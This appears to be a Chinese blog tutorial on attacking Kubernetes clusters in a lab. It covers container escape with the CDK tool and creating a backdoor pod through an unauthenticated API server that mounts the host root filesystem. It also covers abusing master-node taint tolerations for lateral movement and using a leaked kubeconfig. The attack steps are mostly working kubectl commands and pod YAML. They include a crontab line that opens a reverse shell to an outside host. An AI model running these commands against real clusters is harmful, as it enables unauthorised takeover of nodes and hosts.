首页 > 其他分享 >云上攻防-云原生&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

云上攻防-云原生&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

时间:2025-01-07 15:44:04浏览次数:1  
标签:kubectl name -- 3407897 Taint host https Pod K8s

知识点

1、云原生-K8s安全-横向移动-污点Taint
2、云原生-K8s安全-Kubernetes实战场景
一、演示案例-云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点
kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点
kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段
拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动
kubectl describe nodes node-name
image
image
image
image
二、演示案例-云原生-K8s安全-Kubernetes实战场景

image

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像
kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28
image
查看pod容器的状态(归属节点、内部IP、运行状态等)
kubectl get pods -o wide
image
启动靶场镜像服务
kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort
image
kubectl get pod,svc
image
利用Web漏洞拿下权限
image
image
image
image
探针当前Webshell环境是否是docker容器
两种情况
1、纯在docker容器里 2、在k8s下的某个主机里的docker容器
image
ls -al /
image
但是这还没完,因为这个docker容器有很大可能会在k8s下面
cat /proc/1/cgroup
image
docker逃逸
image
工具地址:https://github.com/cdk-team/CDK
image
image
image
image
image
image
image
image
image
image
image

2、利用k8s-Api-Server未授权提交创建后门Pod

image
image
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
image
或者
./kubectl -s 10.96.0.1:443 create -f test.yaml //test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值
查看后门pod是否创建
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods
image

3、实现挂载目录宿主机逃逸

image
image
image
image
image
加参数绕过交互式
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
image
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host" //host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。
image

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html
获取node节点详情
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints
image
或者
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
image

点击查看代码
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-xiaodi  //自定义
spec:
 tolerations:
   - key: node-role.kubernetes.io/master  //这里要修改
     operator: Exists
     effect: NoSchedule
 containers:
   - name: control-master-xiaodi //自定义
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master //自定义
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153557607-1706767924.png) **创建一个新pod容器** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml ` **查看新建pod容器归属** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide ` **利用新建pod容器进行逃逸** `./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master" ` ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153714777-33787262.png) **反弹master控制端的shell** `echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab //这里的master路径要注意与上面一致 ` ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153735564-1069515179.png) ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153737715-169920696.png) ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153739119-576217006.png) ### 5、利用Config泄漏横向移动 **也可以利用节点泄漏的config横向移动节点** ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153754315-19724574.png) ![image](/i/l/?n=24&i=blog/3407897/202501/3407897-20250107153755771-1472739797.png) `./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
`

标签:kubectl,name,--,3407897,Taint,host,https,Pod,K8s
From: https://www.cnblogs.com/loveqixin/p/18657760

相关文章

  • K8S 基础概念
    组件MasterAPIServerRestful风格的API,是整个集群入口,主要作用是把请求数据存储到etcd(CoreOS的键值对数据库)Scheduler调度器,主要管理节点与容器的关系ReplicationController(ControllerManager)集群管家,主要是管理容器的高可用性NodeKubelet主要作用是APIServe......
  • 云原生周刊:K8s 生态系统的五大趋势预测
    开源项目推荐BurritoBurrito是一款TACoS(TerraformAutomationandCollaborationSoftware)KubernetesOperator,旨在提供类似ArgoCD的体验,用于管理和自动化Terraform工作流。通过Burrito,用户可以在Kubernetes集群中轻松实现Terraform配置的声明式管理、自动化执行和......
  • 按部就班--从零开始建设k8s监控(二)
    前言书接上文,prometheus已经安装好了,并且能够对k8s的整体状态进行监控,但是我们还需要更多环境准备组件版本操作系统Ubuntu22.04.4LTSdocker24.0.7grafana11.2.2下载编排文件本文所有的编排文件,都在这里▶cd/tmp&&gitclonegit@github.com:wilso......
  • 【k8s基础】k8s 基本使用
    介绍及教程大全Kubernetes中文文档结构模型k8s是经典的一对多模型,有一个主要的管理节点master和许多的工作节点slaver。当然,k8s也可以配置多个管理节点,拥有两个以上的管理节点被称为高可用。k8s包括了许多的组件,每个组件都是单运行在一个docker容器中,然后通过自己规划的虚......
  • 云上攻防-云原生&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露
    知识点1、云原生-K8s安全-etcd未授权访问2、云原生-K8s安全-Dashboard未授权访问3、云原生-K8s安全-Configfile鉴权文件泄漏4、云原生-K8s安全-KubectlProxy不安全配置搭建环境使用3台Centos7(可参考录像或者看下面两个文章搭建)https://www.jianshu.com/p/25c01cae990......
  • Linux系统centos7,怎么配置yum,以及Errno 14 curl#37 - “Couldn‘t open file /dvd/App
    情况:我手上是一个删掉Windows系统,依靠centos7重装了Linux系统的电脑,里面是空的,什么都没有。加上在今年6月份,上游已经放弃centos7的维护,之前的一些源和网站都没用,那些教程也就没用了。步骤:1.进入root账号,这样才有足够权限做后面的事 2.检查网络是否可以连接外网。拿阿......
  • Adapting Static Taint Analyzers to Soffware Marketplaces:A Leverage Point for Ma
    本论文选自SCORED22(不是顶会,但是在ACM官网搜索找到了,也是漏洞挖掘就做了一个梳理)论文工作提出了一种系统化的方法来专门化静态污点分析器,旨在提高软件市场的精确度和召回率。通过这种方法,努力提高静态污点分析的有效性和效率。本文提出的方法建立在文献检索领域的相关工作的......
  • k8s中cluster内如何访问service
    intro由于k8s中的部署是声明式的:为了满足部署的需求,pod可以动态的销毁/创建/迁移等。这种飘忽不定的生命期就导致了具体提供服务的pod的IP地址(clusterip)随之经常变化。为了解决这个问题,k8s使用的是和DNS类似的思路,通过内部DNS服务来解决这个问题:尽管提供服务器的podip会经常......
  • 云上攻防-云原生&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
    知识点1、云原生-K8s安全-名词架构&各攻击点2、云原生-K8s安全-Kubelet未授权访问3、云原生-K8s安全-APIServer未授权访问K8S集群架构解释Kubernetes通俗来讲就是用来管理多台主机上的docker容器的一个开源平台应用。1、Master节点(控制端)2、Node节点(主机)3、Pod(容器)......
  • k8s系列--通过docker拉取的镜像导入到 containerd中
    要将通过dockerpull拉取的镜像导入到containerd中,可以按照以下步骤操作:步骤1:使用docker将镜像保存为tar文件dockerpullregistry.cn-hangzhou.aliyuncs.com/google_containers/coredns:v1.11.1dockersaveregistry.cn-hangzhou.aliyuncs.com/google_containe......